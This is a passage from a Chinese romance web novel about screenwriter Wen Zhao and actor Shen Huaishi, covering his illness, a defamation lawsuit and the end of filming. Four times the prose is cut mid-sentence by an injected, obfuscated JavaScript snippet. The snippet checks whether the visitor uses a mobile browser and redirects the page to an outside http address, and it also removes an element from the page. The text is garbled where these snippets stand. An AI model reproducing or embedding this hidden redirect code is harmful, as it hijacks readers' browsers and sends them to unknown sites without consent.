“直接回公寓休息吧?”宋枝从后视镜里看她。 “嗯。”闻朝应了一声,想了想,又道,“枝枝,易安,你们也一夜没睡,先歇会儿吧。” “行。”宋枝没推辞,“反正我们请了假,今天也没别的事。” 回到公寓,熟悉的、带着生活气息的环境让紧绷的神经稍稍松弛。宋枝和陆易安简单洗漱后,躺在闻朝那两米的大床上,很快便传来均匀的呼吸声。她们也是真的累极了。 闻朝却没什么睡意。她冲了个热水澡,换了干净柔软的家居服,走到书桌前坐下。电脑屏幕还停留在昨晚最后修改的剧本页面。 她看着那些熟悉的文字,顾嘉言的挣扎、痛苦、抉择……此刻看来,竟与现实中躺在病床上那个人苍白的面容有了某种残酷的重叠。 她点开邮箱,有几封未读邮件。一封是陈导助理发来的今日调整后的拍摄通告,果然将那场对峙戏拆分了,先拍其他部分。一封是剧组宣传发来的舆情简报附件。 手机震动了一下,是桑华发来的消息:【朝朝,沈老师那边怎么样了?陈导回来调整了计划,先拍B组和群演部分,大家情绪还算稳定,就是有点担心沈老师。】 闻朝回复:【已经住院,暂时稳定,需要休息。剧组那边辛苦你们了。】 桑华很快回了个“放心”的表情。 闻朝放下手机,靠在椅背上,闭上了眼睛。身体叫嚣着需要睡眠,但思绪却纷乱如麻。 不知过了多久,半梦半醒间,她仿佛又看到了医院病房里沈淮时苍白的脸,和他最后那一眼……然后,画面跳转到片场,他站在聚光灯下,用尽最后力气演绎顾嘉言的孤独与坚持…… 手机铃声突兀地响起,将她从浅眠中惊醒。 是一个本地的固定电话号码,看起来像是医院的座机。 闻朝的心猛地提起,立刻接起:“喂?” 电话那头传来一个有些熟悉、但比平日更显虚弱的男声,背景很安静,只有隐约的仪器声。 “闻朝……是我。”是沈淮时。 他的声音比凌晨时清晰了一些,但依旧沙哑,带着大病初愈后的无力感。 “你醒了?”闻朝坐直身体,“感觉怎么样?医生怎么说?” “好多了。”他简短地回答,停顿了一下,似乎是在积攒力气,“……谢谢。” 这句道谢,隔着电话线,依旧很轻,却比之前任何一次都更清晰,也更……郑重。 “不用谢。”闻朝下意识地回答,随即又补充道,“身体要紧,好好休息。” “嗯。”沈淮时应了一声,然后又沉默了几秒。电话里只能听到他略显粗重的呼吸声。 就在闻朝以为他可能要挂断时,他的声音再次响起,比刚才更低,也更沉缓,“那场戏……的台词,后半段顾嘉言面对质疑时的回应,第三页标注的那段……我总觉得,还可以更……” 他竟然在病床上,还想着剧本。 闻朝一时间不知该气还是该笑,或者是……心头发涩。 “沈淮时,”她打断他,声音不由得带上了一丝自己都未察觉的严厉,“你现在唯一需要想的,是怎么退烧,怎么恢复体力。剧本的事,等你好了再说。” 电话那头安静了片刻。 然后,传来一声极轻、极低的笑声,带着无奈和一丝几乎难以捕捉的……妥协? “好。”他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我刚刷了刷手机,”陆易安放下筷子,斟酌着说,“消息捂得还算严实,只有些零散的粉丝路透,说看到救护车去了影视基地附近,但没具体指向。资方和剧组反应很快,官方账号和几个大粉那边都在引导,说是沈老师连日拍摄太累,有些低血糖,去医院检查一下,调整状态。” “这个说法好,”宋枝点头,“既解释了突发状况,又模糊了严重性,还能体现敬业。不过……纸包不住火吧?当时片场那么多人。” “能压一时是一时。”闻朝喝了口汤,语气平静,“关键是后续。如果他恢复得快,尽快回到片场,以最佳状态完成剩下的拍摄,这些小风波反而能成为敬业佳话。如果耽误久了……” 她没有说完,但宋枝和陆易安都明白。耽误久了,谣言发酵,对演员、对项目都是伤害。 “杨露是金牌经纪人,处理这些有经验。”陆易安宽慰道,“咱们就别跟着瞎操心了。朝朝,你下午什么打算?真不睡会儿?” 闻朝摇摇头,“睡不着。剧本还有几处收尾要捋顺,趁今天有空,正好弄完。” “行,你弄吧。”宋枝拿出笔记本,坐在沙发上开始敲打,“我俩就当好你的后勤,继续帮你查探消息。” 陆易安点了点头,说:“对,你就别想别的,好好地写剧本就好,其他的就交给我们。” ”好。” 39. 资本是不是太嚣张了 接下来的几天,剧组在更加紧凑、更专注的状态里继续拍着。B组和群演的戏按计划进行,陈导也把更多时间花在了打磨场景和细节上。 少了沈淮时这个绝对的中心,拍摄节奏好像缓和了一点,但每个人心里都绷着一根弦,时不时就会往医院那边想。 网上关于沈淮时“生病停拍”的消息,果然又引起了不少讨论。粉丝当然是担心,但黑粉也没闲着,说什么“撑不住了”“人设崩了”,甚至又把他的病跟之前“压力大”“团队不和”的传闻扯到一起。 这次沈淮时工作室反应很快,发了一封很正式的声明,简单说明病情,强调“治疗顺利”,感谢剧组和粉丝,也再次警告造谣的人会追究责任。 声明写得滴水不漏,没给话题发酵的机会。 闻朝的生活也暂时回到了比较规律的状态。她每天按时到片场,跟进拍摄,根据现场情况微调剧本。 陈导偶尔会问她沈淮时恢复得怎么样,她也只是把从许安或杨露那儿听来的“稳定”“在好转”这些话转达一下。 他们没再通过电话,好像凌晨那通电话只是发烧时的一个意外。体温恢复正常之后,一切又回到了那个安全又必须保持的距离。 只有桑华,偶尔周围没人的时候,会偷偷蹭到闻朝旁边,小声说几句:“许安哥说沈老师恢复得还行,就是人瘦了,天天看剧本,杨姐都快把他手机没收了……”或者,“听说投资方那边又派人来了,跟陈导和杨姐谈了好久,好像在商量……万一沈老师恢复得慢,有没有备用方案……” 这些零碎的消息,像小石子扔进水里,在闻朝心里轻轻荡开一圈波纹,但很快又被手头的工作盖过去了。 她知道“备用方案”意味着什么,补拍、换人,甚至项目暂停。不管哪个,对《骤雪止》都是重击。沈淮时的身体,已经不只是他一个人的事,更关系着整个戏的命运。 这天下午,闻朝正在对一组补拍镜头的分镜草图,手机震了一下。是宋枝发来的链接,后面跟着一句:【快看!有转机了!】 闻朝点开,跳转到一家很有公信力的财经媒体网站。标题不算夸张,但内容让她心跳一下子快了:《深度调查:娱乐资本背后的操盘与舆论操控》。 文章拿最近几个娱乐圈的热点事件举例,深扒了一些资本怎么通过控制营销号、请水军、制造矛盾,甚至买通内部人员,来打击对手、影响项目、搞垮艺人商业价值的操作。 虽然没点名,但里面提到“某S姓顶流男星最近被连续黑”“和他主演的某重点现代影片相关的资本异常”,指向已经很明显了。 文章写得狠,证据也扎实,用了不少匿名但逻辑清晰的聊天记录、资金往来分析,还有公司股权图。 更关键的是,它第一次把“礼物风波”和“绯闻炒作”两件事连起来,暗示背后可能是同一股力量在推动,目的不仅是搞艺人,还想把整个项目搅乱,好从中得利。 这篇文章像颗深水炸弹,在财经和娱乐行业圈里一下子炸开了。和娱乐八卦那种快餐传播不一样,这种调查报道更能戳中资本的痛点。 评论区里,业内的人讨论明显多了起来,开始有人担心“行业黑手”“恶性竞争”这些事。 “这是……谁做的?”闻朝低声说。这篇文章出现得太巧,内容也太有针对性了。 她立刻打电话给宋枝。 “看到了吧?”宋枝声音里压着兴奋,“我朋友说,这篇文章在好几个投资人和制片人的群里都传疯了!虽然没点名,但懂的都懂!这下好了,把什么‘粉丝吵架’‘明星私事’的层面,直接拉高到了‘资本操控’‘行业毒瘤’的高度!看那些背后搞鬼的人还敢不敢嚣张!” “文章哪来的?作者背景查过吗?”闻朝问。 “查了,作者是这家财经媒体的资深调查记者,出名敢写,背景干净,不太容易被收买。至于线索来源……那就不好说了。”宋枝停了一下,“朝朝,你说会不会是……沈淮时团队的反击?或者,是有人看不过去,暗中帮了一把?” 闻朝沉默了几秒,“都有可能。但不管是谁,这步棋走得确实漂亮。” 挂了电话,闻朝又把文章仔细看了一遍。文章火候把握得很好,没煽动情绪,只是冷静摆事实讲道理,反而更让人信服。 它把大家的注意力,从沈淮时个人那点事,引向了行业生态、资本运作这些更深的问题。 这对正在休养、需要时间的沈淮时,以及急需稳住军心的《骤雪止》剧组来说,无疑是争取到了喘息的机会,甚至可能改变一些舆论风向。 傍晚收工后,闻朝回到公寓。宋枝和陆易安已经做好了饭,桌上气氛比前几天轻松不少。 “那篇文章效果好像不错,”陆易安一边盛汤一边说,“我几个关注行业的朋友都在聊,觉得这次风波背后不简单。之前那些跟风黑的声音,好像小了一点。” “关键是层面不一样了,”宋枝夹了一筷子菜,“从‘明星那点事’变成了‘资本是不是太嚣张了’,性质就变了。而且这种调查报道,说不定会引起国家机关的注意,那些躲在暗处的人多少会收敛点。” 闻朝点点头,心里好像松了一点。她想起沈淮时电话里那句“网上的事,杨露他们会处理”。看来,处理的方式比她想的更有策略,也更有力。 正想着,手机又响了。这次是个完全陌生的号码。 闻朝犹豫了一下,还是走到阳台接起来:“喂,你好。” “闻朝小姐吗?”对方是个声音温和、说话清晰的中年男声,“不好意思打扰。我姓周,是沈淮时先生的律师,负责处理最近网络侵权这些法律事务。” 闻朝心里一紧,握紧了手机,“周律师您好。请问有什么事?” “是这样,”周律师语气平稳专业,“我们正在整理针对一系列网络不实信息的诉讼材料。里面有一部分是关于您和沈先生工作关系的恶意猜测和诽谤内容。沈先生特别交代,希望我们就这部分和您沟通一下,确认您是否愿意,以及用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298778|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么方式,配合我们后面的法律行动。当然,这完全尊重您的个人意愿。” 闻朝愣住了。沈淮时要她参与法律行动?这等于把她进一步拉进了这场风波的中心。但另一方面,这也是最正式、最有力的一种“澄清”和“切割”。 通过法律途径,白纸黑字地定义他们的关系,反击那些谣言。 “我需要考虑一下。”闻朝谨慎地回答,“另外,我想问问,沈先生……他身体恢复得怎么样了?” 周律师的声音里似乎带了一丝很淡的笑意,“沈先生恢复得挺好,请放心。他特意让我跟您说声谢谢,还说……‘剧本的修改建议,他记下了,等回来再商量’。” 最后这句话,让闻朝一直紧绷的心终于松了下来,甚至泛起一点很淡的暖意。他还是那个沈淮时,就算在病中,就算在处理这么严肃的法律问题,也没忘记他们之间那种属于创作本身的默契。 “谢谢周律师。关于配合法律行动的事,我需要点时间考虑,也要问问朋友的意见。晚点回复您,可以吗?” “当然可以。这是我的工作电话,您随时可以联系。打扰了,闻小姐。” 挂了电话,闻朝站在阳台上,看着远处渐渐亮起来的灯火。夜风有点凉,轻轻吹在脸上。 宋枝和陆易安探出头来,一起问:“谁的电话?没事吧?” 闻朝转过身走回客厅,脸上表情有点复杂,像是松了口气,又有点茫然。 “是沈淮时的律师,”她说,“问我愿不愿意配合他们,告那些造谣的营销号。” 宋枝和陆易安互相看了一眼。 “这是要把你正式拉进他的阵营啊,”宋枝摸着下巴,若有所思,“不过,从法律上彻底撇清关系,倒也是个办法。” 陆易安想得更深,“他主动让你参与,一方面可能需要你这个当事人的说法,另一方面……也许也是一种表态。把你们的关系,从随便外人乱传的‘绯闻’,拉到法律和事实层面来说清楚。” 闻朝坐下来,手指无意识地摸着温热的茶杯,轻声说:“我得想想。” “当然要慎重,”陆易安点头,“这关系到你的名声,也关系到你以后在这个圈子里的处境。不过,朝朝,”她看着闻朝的眼睛,“如果你决定做,那就意味着,你选择和他,和《骤雪止》这个项目,正式站在一起,面对这一切。不只是默默支持,而是公开的、有法律效力的同盟。” 闻朝迎上她的目光,那双总是平静理性的眼睛里,此刻映着灯光,也映着她的犹豫和挣扎。 选择权,现在就在她手里。 是继续做一个被风波推着走、努力自保的“局外人”,还是走上前去,为自己,也为那个一起付出心血的作品,正面迎击? 夜色渐深,窗外的城市灯火通明,像一片星河。 闻朝知道,她得快点做决定。因为风暴还没结束,只是换了个样子。而她、沈淮时,还有《骤雪止》的命运,依然紧紧绑在一起,等着下一个转折的到来。 40. 一切都会顺利的 夜色渐深,窗外的车流声也稀疏下去。 公寓里只留一盏落地灯,光线温吞地晕开一小圈暖黄,拢着书桌前的人影。 闻朝没有睡意,面前摊着那份打印出来的财经报道,旁边是记录着周律师通话要点的便签纸。 指尖无意识地敲在木质桌面上,嗒,嗒,嗒,声音很轻,却一下下敲在自己绷紧的神经上。 配合沈淮时的法律行动。 这几个字,沉甸甸地压下来。像手术台上无影灯冰冷的光,要把那些模糊的、私人的、暗处滋长的心思,都照得无处遁形,然后贴上标签,归档封存。 从此以后,她和沈淮时的名字若再并列出现,便只存在于起诉书、律师函和严谨的“工作关系”声明里。 客厅传来宋枝和陆易安刻意放轻的走动声,杯碟放入水槽的轻响,压低的笑语。她们把空间留给她,也知道这个槛必须她自己迈。 闻朝的思绪不受控地飘远。 是片场监视器后,他一场戏拍完,汗湿了鬓角,与她目光短暂一碰时眼底的专注与疲惫; 是剧本围读时,他对某句台词提出异议,理由精准得让她心头一凛,继而涌起棋逢对手的共鸣; 是高烧三十九度时,他眼中那簇几乎要将自己燃尽的执拗火苗,和她那句冰冷尖锐的“工具坏了,戏怎么拍”之后,他骤然黯淡下去的、彻底服软的眼神; 是电话里,他沙哑破碎的那句“听你的”。 还有更早,那杯温热的粥和探讨歌词时她写下的‘悸动是唯一的节拍’,以及愚人节喧闹的包厢里,她隔着酒杯与人声,说出的那个“有”字。 所有这些碎片,混杂着,在她心里搅成一团理不清的乱麻。 陈导的告诫也再次浮现:“记住,你首先是《骤雪止》的编剧闻朝。你的作品,你的剧本,才是你的立身之本。” 她的立身之本,真的仅仅是那些印在纸上的文字吗?还是也包括了孕育这些文字时,她所经历的真实悸动、所目睹的孤勇坚持、所感受到的无声托付? 如果为了规避风险,就亲手将这份真实从自己的创作生命里剥离、否认,那她笔下那些关于在绝境中坚守本心、在污浊中寻找微光的人物,又凭什么让观众相信? 法律能划清界限,却量不出人心的重量。 闻朝长长地吁出一口气,那气息在寂静的房间里显得格外清晰。她移动鼠标,点开了邮箱。屏幕的光映着她平静却异常清亮的眼睛。 给周律师的回信,她写得很慢,字斟句酌: “周律师台鉴: 关于您日前所询事宜,经审慎考虑,本人原则同意在必要且适当的范围内,依据事实与证据,配合贵方后续的法律程序,以澄清不实信息,维护合法权益。 具体配合方式及内容细节,建议在双方律师(我方律师将由友人代为联络)共同参与下协商确定。 另,烦请转告沈先生,剧组诸事有序,望其安心静养,剧本之事,容后再议。 闻朝谨启” “原则同意”、“必要且适当”、“依据事实与证据”、“双方律师”……她用最严谨的文字,为自己筑起了防线,也留足了余地。 而最后那句关于剧本的转告,是她唯一允许自己流露的、超越公事公办的温度。 点击发送。轻微的“嗖”声后,邮件飞向未知的彼端。心口那块悬了许久的石头,也沉了下去。 她关掉电脑,起身走到窗边。 深夜的城市并未沉睡,远方的霓虹将天际线染成一片朦胧的紫红色,像一块永不愈合的、繁华的伤疤。 这个世界从不为任何人的进退两难而停顿分毫。 第二天,片场一切如常,却又似乎有些东西不一样了。调整后的拍摄计划推进顺利,B组导演将一些看似平淡的过渡戏,拍出了沉静而富有张力的韵味。 陈导的气色比前几日好了些,见到闻朝时,没多言语,只是抬手在她肩上重重按了一下,那力道里包含着无须言说的认可,和一丝不易察觉的、肩头重担稍卸的松弛。 午休时分,周律师的回复邮件安静地躺在收件箱里,表示已悉知她的立场,会与她引荐的法律顾问接洽后续。措辞一如既往的专业、克制,不带任何多余情绪。 下午,桑华趁着搬道具的间隙,像只灵敏的雀儿溜到闻朝身边,眼睛亮得灼人,压着嗓子说:“朝朝,许安哥刚发消息,沈老师烧全退了,精神头好多了!就是医生还不让走,说得再观察观察。他……还问剧组怎么样呢。” “恢复就好。”闻朝点点头,目光依旧落在手里的通告单上,声音平稳,“剧组按部就班,让他不必挂心。” “嗯!”桑华用力点头,脸上是真心实意的松快,又凑近些,声音压得更低,带着点分享秘密的兴奋,“许安哥还说……沈老师看到那篇财经文章了,盯着看了好久,什么都没说。然后……他把杨姐之前收走的剧本,又要回去了。” 闻朝翻动纸张的手指顿了一下。心底那片空茫的平静,仿佛被一根极细的、温热的针,轻轻刺破了一个小口,有什么东西悄然渗了进来。 他看到了。并且,在病榻上,想的依然是那个属于顾嘉言的世界,是他们共同构筑的城池。 这是一个极其微弱的信号,却有着清晰的指向。 傍晚收工,夕阳将影棚门口的空地染成一片暖橙色。陈导站在那里,似乎在等人,见到闻朝出来,招了招手。 闻朝走过去。陈导点了支烟,没立刻说话,先深深吸了一口,才缓缓吐出烟雾,开口时声音带着一点烟熏过的沙哑,“资方那边,下午又通了次气。” 闻朝的心微微提起。 “那篇文章,”陈导弹了弹烟灰,火星在暮色中明灭,“起了作用。让他们看清了,这次不只是粉圈撕逼或者艺人私德那点事儿,水底下藏着别的玩意儿。硬要换人或者搁置项目,搞不好把自己也拖下水,惹一身麻烦。” 他转过头,看向闻朝,目光在夕阳余晖中显得格外锐利,“现在他们的态度很明确,项目继续,但沈淮时,必须尽快、以最好的状态回来。同时,舆情上要加把劲,把风向往正路上引。”他顿了顿,声音低了些,“你这边和沈淮时团队的法律协作,我听说了。做得对。有些脓包,就得挑破了挤干净,捂着反而坏事。” “项目会顺利的,陈导。”闻朝迎着他的目光,声音不高,却字字清晰,“一切都会顺利的。” 陈导看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302010|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她几秒,点了点头,把还剩半截的烟按灭在一旁的垃圾桶上,那动作带着一种下定了某种决心的利落。“嗯。回吧,早点歇着。后头……路还长着呢。” 回到公寓,熟悉的暖意和饭菜香立刻包裹上来。宋枝正对着电视里的综艺笑得前仰后合,陆易安在厨房盛汤,回头冲她笑了笑。 “回来啦?”陆易安端着汤碗走出来,“今天怎么样?” “还行。”闻朝放下包,换了鞋,“拍了顾母的戏,演得特别好。” 宋枝按下暂停键,凑过来,“那篇财经文章后续有动静吗?我看了几个行业论坛,讨论度挺高的。” “陈导说投资方态度明确了,项目继续。”闻朝在餐桌前坐下,“但沈淮时必须尽快恢复。” “那就好,”陆易安把汤碗推到她面前,“至少暂时稳住了。” 三个人围着餐桌吃饭,电视里放着轻松的综艺节目,嘻嘻哈哈的笑声填满了小小的客厅。 这一刻,俗世的、友情的喧闹和温暖,像最坚固的堤坝,把外面所有的风雨暂时挡开。 饭后,宋枝拉着闻朝一起收拾碗筷。水龙头哗哗地流着,宋枝一边洗碗一边说:“朝朝,其实我挺佩服你的。” “佩服我什么?” “就是……你很清楚自己要什么。”宋枝把洗好的盘子递给她,“虽然会犹豫,会挣扎,但最后总能做出选择。不像我,经常纠结半天,最后还是随大流。” 闻朝接过盘子,用干布轻轻擦着,“我也不是每次都清楚。就像这次……其实我也不知道选对了没有。” “但你选了。”宋枝转头看她,“而且你选了之后,就没再回头看了。” 闻朝愣了一下。 是啊,她选了。从给周律师回信的那一刻起,她就走上了一条不能回头的路。 临睡前,手机在床头柜上亮了一下。她拿起来,是一条短信,来自那个没有储存、却早已刻在心上的号码。 内容只有两个字,简洁得近乎吝啬: 【收到。谢谢。】 发信人:沈淮时。 没有多余的寒暄,没有对病情的描述,甚至没有一个标点符号。却仿佛隔着冰冷的屏幕,传递过来病房特有的消毒水气味,高烧退去后残留的虚弱与清醒,以及一份沉甸甸的、心照不宣的郑重。 闻朝盯着那两个字,看了许久。然后,拇指轻轻按下锁屏键。 屏幕暗下去,最后一抹光映亮她微微弯起的唇角,那笑意很淡,却真切地抵达了眼底。 谢谢。 这两个字,在此刻的寂静深夜里,重逾千钧。 它意味着接收,确认,以及一份无需宣之于口的并肩之诺。 窗外的夜色,仿佛也因此柔和了几分,不再是吞噬一切的漆黑,而是蕴藏着黎明前寂静的深蓝。 她知道,风波远未平息,前路依然布满未知的沟壑。 但至少在此刻,他们各自在风暴划定的界限内,用自己擅长且不得不为的方式,为同一座城池的存续,默默添着一砖,一瓦。 而有些悬而未决的答案,或许真的不必急于在硝烟中寻找。 时间自有其公允的刻度,作品终将承载一切真实的重量。 41. 我们,走过来了 日子在一种近乎麻木的、高强度的运转中滑过。 沈淮时在医院静养了五天,体温彻底稳定,体力也恢复了大半。在医生“仍需注意,避免劳累”的叮嘱和杨露严密的防护下,他低调地返回了剧组。 没有欢迎仪式,没有多余寒暄。他出现时,人清瘦了一圈,穿着厚实的大衣,脸色依旧有些苍白,但眼神已经恢复了惯有的沉静,甚至因为这场大病,多了一丝内敛的锋芒。 陈导只拍了拍他的肩膀,说了句“回来了就好”。 闻朝远远看着他被簇拥着走进专用化妆间,两人目光有过一刹那的交汇,他几不可察地对她颔首,她则平静地移开视线,继续手头的工作。 为了追赶进度,也为了兑现向资方“尽快回归”的承诺,拍摄计划调整得更加紧凑。沈淮时回归后的第一场戏,就是闻朝精心筛选出的那场“众叛亲离后的内心戏”。 场景早已布置妥当。不大的书房内,光线被刻意调得幽暗,只有一束从天窗斜射下来的、带着灰尘光柱的“天光”,精准地打在书桌上那份资料。 沈淮时换上了顾嘉言的衣服,坐到书桌后。他没有立刻动作,只是静静地看着那份资料,目光沉静,仿佛在透过它,看向某个遥远的、已逝的时空。 整个片场鸦雀无声,所有人都屏息凝神。 “Action!” 沈淮时缓缓伸出手,指尖触及冰凉的书桌边缘。动作起初有些滞涩,带着大病初愈后的虚浮,但这滞涩反而奇异地贴合了顾嘉言此刻心境。 历经波折后,重拾旧物时的那种陌生与恍惚。 那眼神,起初是空的,像蒙着一层薄雾。 随着时间的流逝,薄雾渐渐散去,露出底下复杂的底色:有痛楚的不甘,有茫然的无措,但更深处,有一种极其缓慢、却异常坚定地重新凝聚起来的情感。 镜头紧紧追随着他的手,他的眼睛。 特写里,他指尖的力度控制得很妙,时而轻柔如拂羽,时而微微停顿,仿佛触及了某段不忍碰触的记忆。额角有细微的汗珠渗出,闪着晶莹的光。 闻朝站在监视器后,心脏随着他的每一个细微表情和动作而收紧。 她知道他在演,也知道他不仅仅在演。那场大病,那些铺天盖地的恶意,那些不得不独自承受的压力,都被他悄无声息地熔炼进了此刻的表演里。 顾嘉言的破碎与重塑,何尝不是他沈淮时某种内心的投射? “第一镜,第一次,Action。” 场记板的声音在绝对安静的环境中显得格外清脆,落下后,余音仿佛还在空气中震颤。 镜头从一扇旧木窗的特写开始,窗外是模拟的、灰蒙蒙的冬日天光,并不明亮,却有一种沉静的力量。 然后,镜头极其缓慢地横移,掠过书架上整齐却略显蒙尘的典籍,掠过一张空置的桌子,最终停在那只手上。 那是一只骨节分明、肤色略显苍白的手。沈淮时的手。镜头推进,几乎贴上他的手背肌肤,能看清上面淡淡的青色血管和因为消瘦而更加突出的指节。 他的手指先是悬在资料上方,微微颤抖,不是因为病弱,而是一种近乎虔诚的迟疑。然后,食指的指尖,极其缓慢地、轻轻地,触碰到冰凉的文件边缘。 那一触,仿佛带着电流。他整个人几不可察地轻轻一震,然后,那颤抖奇异地平息了下去。他的手指开始动作,沿着纸张的边缘,翻开那份资料,发出极轻微的、几乎听不见的沙沙声。 镜头再次拉远一些,给了沈淮时侧脸一个中景。他微微低着头,目光落在那份文件上,却又仿佛穿透了它,落在了更遥远、更虚妄的时空里。他的脸上没有什么表情,没有悲伤,没有愤懑,甚至连疲惫都都没有。 他极轻、极缓地,吸了一口气。那口气息悠长而沉静,仿佛将方才所有动荡的心绪,都随着这口气,缓缓地、坚定地,压回了心底最深处。 然后,他慢慢地、极其稳定地,抬起了眼。 目光并没有立刻看向镜头,而是先落在了虚空中某一点,仿佛在适应光线,又仿佛在与某个看不见的过去告别。 最终,他的视线,缓缓地、平静地,迎上了正对着他的摄像机镜头。 那一瞬间,监视器后的陈导猛地攥紧了拳头,眼眶骤然发热。 闻朝的心脏,也像是被什么东西狠狠撞了一下,酸涩与震撼交织着涌上喉咙。 沈淮时的眼神里,没有了之前的迷茫、痛苦或强撑的坚硬。那里是一片被风暴彻底洗礼过的荒原,空旷,寂寥,寸草不生。 那是一种认命般的平静,一种将破碎自我重新黏合后的、带着裂痕的完整,一种知晓前路依旧艰难却已决定走下去的、沉默的决绝。 没有泪,没有笑,没有任何多余的情绪渲染。 只是这样看着。 看着镜头,也仿佛透过镜头,看着所有正在或将要观看这个故事的人。 “卡——!” 陈导的声音带着一丝难以抑制的震颤,破开了满室的静默。 这一声“卡”之后,是长达十几秒的、无人说话的空白。所有人都还沉浸在刚才那近乎窒息般的表演氛围里,没有立刻回过神来。 然后,陈导猛地从椅子上站起来,因为动作太大,椅子腿与地面摩擦发出刺耳的声响。他几步冲到布景中,用力拍了拍沈淮时的肩膀,声音沙哑:“好!太好了!淮时,这条……一条过!完美!” 沈淮时似乎还停留在顾嘉言的状态里,被陈导拍了一下,才缓缓地、有些迟钝地眨了眨眼,那股凝聚在周身沉静而强大的气场,如同潮水般缓缓退去,显露出底下真实的、大病初愈后的虚弱与疲惫。他额角渗出了细密的冷汗,脸色比刚才更白了些。 片场紧绷的气氛瞬间松动,响起一阵低低的、带着钦佩和松气的议论声。 沈淮时看向隔着忙碌走动的工作人员,他的目光与闻朝对上。这一次,他没有立刻移开,而是就那样静静地看着她,看了两三秒。眼神里没有了刚才戏中的复杂情绪,只剩下一种纯粹的、沉静的、近乎交付般的笃定。 他仿佛在说:你看,我做到了。用你选择的方式。 闻朝迎着他的目光,没有笑,也没有多余的表情,只是同样沉静地,对他点了点头。 那点头的幅度很小,却像一颗投入心湖的石子,激荡开无声却汹涌的涟漪。 这一场戏的成功,像一剂强心针,注入了整个《骤雪止》剧组。它不仅仅意味着沈淮时状态的回归,更象征着一股被压抑许久的力量,开始以一种更内敛、更坚韧的方式,重新凝聚和爆发。 接下来的拍摄,像是被按下了加速键。沈淮时仿佛不知疲倦,将病中积攒的思考和能量,尽数倾注到接下来的每一场戏中。 他的表演愈发凝练,情感层次愈发丰富,与对手演员的碰撞也火花四溅。整个剧组都被这股气势带动,效率惊人。 闻朝的工作量也随之倍增。她需要根据沈淮时回归后的状态和拍摄进度,随时调整、微调剧本细节,确保每一场戏的情感逻辑和节奏都精准无误。 她几乎长在了监视器旁和导演身边,大脑时刻处于高速运转状态。 偶尔,在极度疲惫的间隙,她会看到沈淮时在远处喝水、看剧本,或者只是闭目养神。 他的侧脸依旧清瘦,但那股由内而外散发的、专注于创作的沉静力量,却比以往任何时候都更加强大。他们之间依旧没有多余的交流,但那种通过作品和镜头建立起的、牢不可破的默契,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307394|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比任何言语都更加坚实。 时间在日以继夜的拍摄中飞速流逝。外界的风波似乎并未完全平息,仍有零星的杂音,但在剧组内部,一种“用作品说话”的信念已然确立。 官微持续释放高质量的拍摄花絮和匠心内容,那篇财经报道的余波也在悄然改变着部分舆论场的生态。更重要的是,随着沈淮时状态回归,拍摄进度稳步推进,资方的态度也愈发明确和稳定。 当最后一场戏,顾嘉言站在一片空旷的高楼之上,眺望远方,镜头缓缓拉远,定格在他孤独却挺直的背影上…… 导演喊出那声“杀青!”时,整个影棚先是陷入了一片短暂的、难以置信的寂静。 随即,掌声、欢呼声、夹杂着如释重负的哽咽和尖叫,如同决堤的洪水般爆发出来。 彩带和纸屑不知从何处喷涌而出,在空中纷纷扬扬。灯光师将所有的灯都调到了最亮,将这片承载了无数汗水、泪水、压力与坚持的场地,照得如同白昼。 陈导被众人抛了起来,笑声洪亮。制片人激动地与每个人拥抱。演员们互相道贺,合影,眼圈泛红。 闻朝站在人群外围,看着这片沸腾的、属于胜利的喧嚣,心里却奇异地平静,甚至有些空茫。 持续数月的紧绷神经骤然松弛,带来的不是狂喜,而是一种近乎虚脱的疲惫,和一种“终于结束了”的、混杂着淡淡怅然的释然。 她的目光下意识地在人群中寻找。然后,她看到了他。 沈淮时站在稍远一些的地方,没有像其他人那样纵情欢笑或拥抱。他微微仰着头,看着空中飘落的彩带,侧脸在璀璨的灯光下,线条清晰而平静。许安和杨露站在他身边,脸上也带着笑意。 他似乎感应到了她的视线,缓缓转过头,目光穿越喧闹沸腾的人群,准确无误地落在了她身上。 隔着飞舞的彩带,隔着鼎沸的人声,隔着这数月来的风风雨雨、沉默扶持与心照不宣,他们就这样静静地对视着。 他的眼神很深,像一片经历过惊涛骇浪后终于归于平静的海。 